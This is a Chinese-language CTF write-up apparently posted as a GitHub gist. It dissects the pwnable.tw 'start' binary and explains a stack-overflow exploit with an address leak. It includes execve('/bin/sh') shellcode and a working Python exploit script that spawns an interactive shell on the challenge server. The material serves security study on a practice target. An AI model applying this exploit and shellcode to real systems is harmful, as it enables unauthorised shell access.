Last active
May 16, 2019 11:14
-
-
Save OwenChia/4dc69b7e39a667476df704a2de9af5bf to your computer and use it in GitHub Desktop.
栈溢出学习笔记 (一)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 题目是 pwnable.tw 上的一个, start[0] | |
| 使用 hexdump -Cv start 得到如下输出: | |
| 00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| | |
| 00000010 02 00 03 00 01 00 00 00 60 80 04 08 34 00 00 00 |........`...4...| | |
| 00000020 6c 01 00 00 00 00 00 00 34 00 20 00 01 00 28 00 |l.......4. ...(.| | |
| 00000030 05 00 02 00 01 00 00 00 00 00 00 00 00 80 04 08 |................| | |
| 00000040 00 80 04 08 a3 00 00 00 a3 00 00 00 05 00 00 00 |................| | |
| 00000050 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
| 00000060 54 68 9d 80 04 08 31 c0 31 db 31 c9 31 d2 68 43 |Th....1.1.1.1.hC| | |
| 00000070 54 46 3a 68 74 68 65 20 68 61 72 74 20 68 73 20 |TF:hthe hart hs | | |
| 00000080 73 74 68 4c 65 74 27 89 e1 b2 14 b3 01 b0 04 cd |sthLet'.........| | |
| 00000090 80 31 db b2 3c b0 03 cd 80 83 c4 14 c3 5c 31 c0 |.1..<........\1.| | |
| 000000a0 40 cd 80 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............| | |
| 000000b0 00 00 00 00 00 00 00 00 60 80 04 08 00 00 00 00 |........`.......| | |
| 000000c0 03 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 |................| | |
| 000000d0 04 00 f1 ff 09 00 00 00 9d 80 04 08 00 00 00 00 |................| | |
| 000000e0 00 00 01 00 14 00 00 00 60 80 04 08 00 00 00 00 |........`.......| | |
| 000000f0 10 00 01 00 0f 00 00 00 a3 90 04 08 00 00 00 00 |................| | |
| 00000100 10 00 01 00 1b 00 00 00 a3 90 04 08 00 00 00 00 |................| | |
| 00000110 10 00 01 00 22 00 00 00 a4 90 04 08 00 00 00 00 |...."...........| | |
| 00000120 10 00 01 00 00 73 74 61 72 74 2e 73 00 5f 65 78 |.....start.s._ex| | |
| 00000130 69 74 00 5f 5f 62 73 73 5f 73 74 61 72 74 00 5f |it.__bss_start._| | |
| 00000140 65 64 61 74 61 00 5f 65 6e 64 00 00 2e 73 79 6d |edata._end...sym| | |
| 00000150 74 61 62 00 2e 73 74 72 74 61 62 00 2e 73 68 73 |tab..strtab..shs| | |
| 00000160 74 72 74 61 62 00 2e 74 65 78 74 00 00 00 00 00 |trtab..text.....| | |
| 00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
| 00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
| 00000190 00 00 00 00 1b 00 00 00 01 00 00 00 06 00 00 00 |................| | |
| 000001a0 60 80 04 08 60 00 00 00 43 00 00 00 00 00 00 00 |`...`...C.......| | |
| 000001b0 00 00 00 00 10 00 00 00 00 00 00 00 11 00 00 00 |................| | |
| 000001c0 03 00 00 00 00 00 00 00 00 00 00 00 4b 01 00 00 |............K...| | |
| 000001d0 21 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 |!...............| | |
| 000001e0 00 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 |................| | |
| 000001f0 00 00 00 00 a4 00 00 00 80 00 00 00 04 00 00 00 |................| | |
| 00000200 04 00 00 00 04 00 00 00 10 00 00 00 09 00 00 00 |................| | |
| 00000210 03 00 00 00 00 00 00 00 00 00 00 00 24 01 00 00 |............$...| | |
| 00000220 27 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 |'...............| | |
| 00000230 00 00 00 00 |....| | |
| 00000234 | |
| 根据 ELF101[1] 中对 32 位 ELF 文件结构的描述可知: | |
| 第一行,文件的前 16 个字节为 e_ident,在这其中, | |
| 7f 45 4c 46 是 EI_MAG,表明该文件为 ELF 格式的固定魔数, | |
| 01 01 分别是 EI_CLASS,EI_DATA,表明该文件为 32 位的 ELF 文件,且字节序为低位在前, | |
| 01 00 00 00 为 EI_VERSION | |
| 剩下的 6 个均为 0 的字节,是留作扩展功能的,暂时没有用到。 | |
| 第二行, | |
| 02 00 为 e_type,表明该文件为可执行文件,其他的类型还有可重定向文件(.o)、共享对象文件(.so), | |
| 03 00 为 e_machine,表明机器架构为 intel 80386 | |
| 01 00 00 00 为 e_version, | |
| 60 80 04 08 为 e_entry,开始执行的地址 0x08048060, | |
| 34 00 00 00 为 e_phoff,程序头的偏移量 0x34, | |
| 第三行, | |
| 6c 01 00 00 为 e_shoff,节区头的偏移量 0x016c, | |
| 00 00 00 00 | |
| 34 00 为 e_ehsize,ELF 文件头的大小 0x34, | |
| 20 00 为 e_phentsize,单个程序头的大小 0x20, | |
| 01 00 为 e_phnum,程序头的个数 1, | |
| 28 00 为 e_shentsize,单个节区头的大小 0x28, | |
| 第四行, | |
| 05 00 为 e_shnum,节区头的个数 5, | |
| 02 00 为 e_shstrndx,索引??? | |
| 至此,共 52 个字节,ELF 文件头的大小为 0x34,即 52 字节,文件头的内容到此为止。 | |
| 程序头的偏移量为 0x34,单个大小为 0x20,个数为 1,所以接下来的 32 字节是程序头的内容。 | |
| 01 00 00 00 为 p_type, | |
| 00 00 00 00 为 p_offset | |
| 00 80 04 08 为 p_vaddr | |
| 00 80 04 08 为 p_paddr | |
| a3 00 00 00 为 p_filesz | |
| a3 00 00 00 为 p_memsz | |
| 05 00 00 00 为 flags | |
| 00 10 00 00 为 ??? | |
| 节区头的偏移量为 0x016c,个数为 5, 单个大小为 0x28, | |
| 第一个节区头数据为: | |
| 0000016c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
| 0000017c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
| 0000018c 00 00 00 00 00 00 00 00 | |
| 第二个节区头数据为: | |
| 00000194 1b 00 00 00 01 00 00 00 06 00 00 00 60 80 04 08 | |
| 000001a4 60 00 00 00 43 00 00 00 00 00 00 00 00 00 00 00 | |
| 000001b4 10 00 00 00 00 00 00 00 | |
| 0x01a4 ~ 0x01ab 表明节区偏移量为 0x60,大小为 0x43, | |
| 节区名为名称节区中 0x1b 位置开始的字符串,类型为 PROGBITS, | |
| 第三个节区头数据为: | |
| 000001bc 11 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 | |
| 000001cc 4b 01 00 00 21 00 00 00 00 00 00 00 00 00 00 00 | |
| 000001dc 01 00 00 00 00 00 00 00 | |
| 偏移量 0x014b,大小为 0x21,节区名 0x11,类型 STRTAB, | |
| 第四个节区头为: | |
| 000001e4 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 | |
| 000001f4 a4 00 00 00 80 00 00 00 04 00 00 00 04 00 00 00 | |
| 00000204 04 00 00 00 10 00 00 00 | |
| 偏移量 0xa4,大小 0x80,节区名 0x01,类型 SYMTAB, | |
| 第五个节区头为: | |
| 0000020c 09 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 | |
| 0000021c 24 01 00 00 27 00 00 00 00 00 00 00 00 00 00 00 | |
| 0000022c 01 00 00 00 00 00 00 00 | |
| 偏移量 0x0124,大小 0x27,节区名 0x09,类型 STRTAB | |
| .shstrtab 节区类型为 STRTAB,首先查看第三节区和第五节区 | |
| 第三个节区中数据为: | |
| 0000014b 00 2e 73 79 6d 74 61 62 00 2e 73 74 72 74 61 62 | |
| 0000015b 00 2e 73 68 73 74 72 74 61 62 00 2e 74 65 78 74 | |
| 0000016b 00 | |
| 对应的字符分别为 '.symtab','.strtab','.shstrtab','.text',均为系统保留节区的名称, | |
| 由此可知各节区的名称,第二节区为 .text,第三节区为 .shstrtab,第四节区为 .symtab,第五节区为 .strtab | |
| 第五个节区 .strtab 中数据为: | |
| 00000124 00 73 74 61 72 74 2e 73 00 5f 65 78 69 74 00 5f | |
| 00000134 5f 62 73 73 5f 73 74 61 72 74 00 5f 65 64 61 74 | |
| 00000144 61 00 5f 65 6e 64 00 | |
| 对应的字符分别为 'start.s','_exit','__bss_start','_edata','_end' | |
| 程序的可执行指令存储在 .text 节区中, | |
| 第二个节区 .text 中的数据为: | |
| 00000060 54 68 9d 80 04 08 31 c0 31 db 31 c9 31 d2 68 43 | |
| 00000070 54 46 3a 68 74 68 65 20 68 61 72 74 20 68 73 20 | |
| 00000080 73 74 68 4c 65 74 27 89 e1 b2 14 b3 01 b0 04 cd | |
| 00000090 80 31 db b2 3c b0 03 cd 80 83 c4 14 c3 5c 31 c0 | |
| 000000a0 40 cd 80 | |
| 该数据为机器码,使用 capstone[2] 写一个简单的反汇编工具[3],得到: | |
| 0x8048060 1 pushl %esp | |
| 0x8048061 5 pushl $0x804809d | |
| 0x8048066 2 xorl %eax, %eax | |
| 0x8048068 2 xorl %ebx, %ebx | |
| 0x804806a 2 xorl %ecx, %ecx | |
| 0x804806c 2 xorl %edx, %edx | |
| 0x804806e 5 pushl $0x3a465443 | |
| 0x8048073 5 pushl $0x20656874 | |
| 0x8048078 5 pushl $0x20747261 | |
| 0x804807d 5 pushl $0x74732073 | |
| 0x8048082 5 pushl $0x2774654c | |
| 0x8048087 2 movl %esp, %ecx | |
| 0x8048089 2 movb $0x14, %dl | |
| 0x804808b 2 movb $1, %bl | |
| 0x804808d 2 movb $4, %al | |
| 0x804808f 2 int $0x80 | |
| 0x8048091 2 xorl %ebx, %ebx | |
| 0x8048093 2 movb $0x3c, %dl | |
| 0x8048095 2 movb $3, %al | |
| 0x8048097 2 int $0x80 | |
| 0x8048099 3 addl $0x14, %esp | |
| 0x804809c 1 retl | |
| 0x804809d 1 popl %esp | |
| 0x804809e 2 xorl %eax, %eax | |
| 0x80480a0 1 incl %eax | |
| 0x80480a1 2 int $0x80 | |
| 观察这段汇编代码, | |
| 首先将 %esp 寄存器中的内容压入栈中作为备份,接着将立即数 $0x804809d 压入栈中,以便 ret 时使用, | |
| 接着将 %eax、%ebx、%ecx、%edx 四个寄存器置零 | |
| 然后将 $0x3a465443('CTF:')、$0x20656874('the ')、$0x20747261('art ')、$0x74732073('s st')、$0x2774654c("Let'") 压入栈中, | |
| 接下来是使用 write 系统调用,查表[4]可知: | |
| movl %esp, %ecx | |
| movb $0x14, %dl | |
| movb $1, %bl | |
| movb $4, %al | |
| int $0x80 | |
| 等同于 write(STDOUT_FILENO, “Let's start the CTF:”, 0x14),这会打印出 “Let's start the CTF:” 这个提示, | |
| 再接下来是 read 系统调用,同样查表可知: | |
| xorl %ebx, %ebx | |
| movb %0x3c, %dl | |
| movb $3, %al | |
| int $0x80 | |
| 等同于 read(STDIN_FILENO, %ecx, 0x3c),这会接受用户输入,并存储到之前存放提示语句的位置, | |
| 执行 addl $0x14, %esp 释放栈空间,然后使用 retl 弹出栈上的内容($0x804809d)放入 %rip 寄存器, | |
| 接着从 0x804809d 位置执行,弹出栈上内容到 %esp 寄存器,即恢复备份, | |
| 接下来是使用 exit 系统调用: | |
| xorl %eax, %eax | |
| incl %eax | |
| int $0x80 | |
| 等同于 exit(0)。 | |
| 进程地址空间的布局是这样子的: | |
| -> 高位 | |
| +-----------+ | |
| | args, env | | |
| +-----------+ | |
| | stack | | |
| +-----------+ | |
| | ... | | |
| +-----------+ | |
| | heap | | |
| +-----------+ | |
| | .bss | | |
| +-----------+ | |
| | .data | | |
| +-----------+ | |
| | .text | | |
| +-----------+ | |
| -> 低位 | |
| 在这个例子中, | |
| 栈从高位到低位存储的数据为: | |
| -> 高位 | |
| +----------+ | |
| |%esp 的值 | | |
| +----------+ | |
| |0x804809d | // ret | |
| +----------+ | |
| |0x3a465443| | |
| +----------+ | |
| |0x20656874| | |
| +----------+ | |
| |0x20747261| | |
| +----------+ | |
| |0x74732073| | |
| +----------+ | |
| |0x2774654c| <- %esp (current) | |
| +----------+ | |
| -> 低位 | |
| 在写入数据的时候,起始位置跟打印提示的时候一致,即复用存储提示的栈空间,且 0x3c > 0x14,所以 0x804809d 可以被任意数据覆盖,在程序执行到 ret 的时候,跳转到指定的位置继续执行。 | |
| 看起来构造一个类似 'A' * 20 + addr + shellcode 的数据就可以了,但是因为 aslr 的关系,每次的地址都不一定一样,所以首先要获取运行时的地址,恰好程序中有调用 write 系统调用,所以可以尝试借助该系统调用将地址打印出来,分两次进行利用。 | |
| 当程序执行完 0x804809c 后,栈的布局如下: | |
| -> 高位 | |
| +----------+ | |
| |%esp 的值 | | |
| +----------+ | |
| -> 低位 | |
| 如果此时再次执行 movl %esp, %ecx,然后执行 write 系统调用,即可将 %esp 的值打印出来 | |
| 观察程序代码,只需再次从 0x8048087 位置执行即可,于是构造第一次利用的 payload 如下: | |
| 'A' * 20 + 0x8048087 | |
| 打印出地址后,记为 leak_addr,在下一次 ret 之前会执行 addl $0x14, %esp, 所以 leak_addr 需要加上 0x14, | |
| 此时需要第二次输入,应构造 payload 如下: | |
| 'A' * 20 + (leak_addr + 0x14) + shellcode | |
| shellcode 采用如下代码生成: | |
| .code32 | |
| .global _start | |
| .section .text | |
| _start: | |
| xorl %ecx, %ecx | |
| mull %ecx | |
| pushl %ecx | |
| pushl $0x68732f2f | |
| pushl $0x6e69622f | |
| movl %esp, %ebx | |
| movb $0xb, %al | |
| int $0x80 | |
| 编译使用 binutils 中的 as 和 ld: | |
| as --32 shellcode.s -o shellcode.o | |
| ld -m elf_i386 shellcode.o -o shellcode // 不是必须的 | |
| 然后对得到的文件分析,取出 .text 节区中的数据作为 shellcode 的内容: | |
| b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" | |
| 程序的运行流程为,第一次 ret 时,跳转到 0x8048087 位置,将当前栈顶地址通过 write 系统调用打印出来,接着接受第二次输入,跳转到栈顶位置继续执行,栈中此时数据为 shellcode 的内容,于是 shellcode 被执行,利用成功。 | |
| 完整的利用程序见附 2、附 3。 | |
| [0] https://pwnable.tw/static/chall/start | |
| [1] https://github.com/corkami/pics/blob/master/binary/elf101/elf101.pdf | |
| [2] http://www.capstone-engine.org | |
| [3] 见附 1 | |
| [4] http://syscalls.kernelgrok.com | |
| 附 1,反汇编工具: | |
| import argparse | |
| from capstone import ( | |
| Cs, | |
| CS_ARCH_X86, | |
| CS_MODE_32, | |
| CS_OPT_SYNTAX_ATT, | |
| ) | |
| OFFSET = 0x08048060 | |
| md = Cs(CS_ARCH_X86, CS_MODE_32) | |
| md.syntax = CS_OPT_SYNTAX_ATT | |
| def disasm(code: bytes): | |
| for address, size, mnemonic, op_str in md.disasm_lite(code, offset=OFFSET): | |
| print("0x{0:x}\t{1:d}\t{2:s}\t{3:s}".format(address, size, | |
| mnemonic, op_str)) | |
| def type_hex(num): | |
| if num is not None: | |
| return int(num, base=16) | |
| def parse_args(): | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument("file", nargs='?', default="code", | |
| type=argparse.FileType("rb")) | |
| parser.add_argument("--seek", default=None, type=type_hex) | |
| parser.add_argument("--size", default=None, type=type_hex) | |
| args = parser.parse_args() | |
| if args.seek is not None and args.size is None: | |
| parser.error("--seek requires --size.") | |
| return args | |
| def main(): | |
| args = parse_args() | |
| with args.file as fd: | |
| if args.seek is not None: | |
| fd.seek(args.seek) | |
| code = fd.read(args.size) | |
| else: | |
| code = fd.read() | |
| disasm(code) | |
| if __name__ == '__main__': | |
| main() | |
| 附 2,pwnhelper.py: | |
| import abc | |
| import shlex | |
| import socket | |
| import struct | |
| import subprocess | |
| class PWN(metaclass=abc.ABCMeta): | |
| def __init__(self, program): | |
| self.prog = program | |
| def execute_command(self, command): | |
| self.send(command + b"\n") | |
| recv = self.recv() | |
| return recv.decode() | |
| def interactive(self): | |
| while True: | |
| try: | |
| read = input("> ").strip().encode() | |
| except (EOFError, KeyboardInterrupt): | |
| break | |
| output = self.execute_command(read) | |
| print(output, end="") | |
| @abc.abstractmethod | |
| def send(self, data): | |
| pass | |
| @abc.abstractmethod | |
| def recv(self, *, size=8192): | |
| pass | |
| class Remote(PWN): | |
| def __init__(self, host, port): | |
| self.prog = socket.socket() | |
| self.prog.connect((host, port)) | |
| def send(self, data): | |
| self.prog.send(data) | |
| def recv(self, *, size=8192): | |
| return self.prog.recv(size) | |
| class Process(PWN): | |
| def __init__(self, prog): | |
| self.prog = subprocess.Popen( | |
| shlex.split(prog), | |
| stdin=subprocess.PIPE, | |
| stdout=subprocess.PIPE, | |
| stderr=subprocess.STDOUT, | |
| ) | |
| def send(self, data): | |
| self.prog.stdin.write(data) | |
| self.prog.stdin.flush() | |
| def recv(self, *, size=8192): | |
| return self.prog.stdout.read1(size) | |
| 附 3,pwn.py: | |
| from struct import ( | |
| pack, | |
| unpack, | |
| ) | |
| import argparse | |
| import sys | |
| from pwnhelper import ( | |
| Process, | |
| Remote, | |
| ) | |
| PADDING_1 = b"A" * 20 | |
| MALICIOUS_CODE_1 = pack("<I", 0x08048087) | |
| MALICIOUS_CODE_2 = ( | |
| b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68" | |
| b"\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" | |
| ) | |
| def exploit(prog): | |
| prog.recv(size=20) | |
| prog.send(PADDING_1 + MALICIOUS_CODE_1) | |
| leak = prog.recv(size=20)[:4] | |
| leak = pack("<I", unpack("<I", leak)[0] + 20) | |
| prog.send(PADDING_1 + leak + MALICIOUS_CODE_2) | |
| prog.interactive() | |
| def parse(): | |
| parse = argparse.ArgumentParser() | |
| parse.add_argument("-r", "--remote", action="store_true", | |
| help="Exploit remote") | |
| parse.add_argument("-p", "--process", action="store_true", | |
| help="Exploit process", default=True) | |
| return parse.parse_args() | |
| if __name__ == '__main__': | |
| args = parse() | |
| if args.remote: | |
| prog = Remote("chall.pwnable.tw", 10000) | |
| elif args.process: | |
| prog = Process("./start") | |
| else: | |
| print("No argument specified: Remote or Process?", file=sys.stderr) | |
| sys.exit(1) | |
| exploit(prog) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment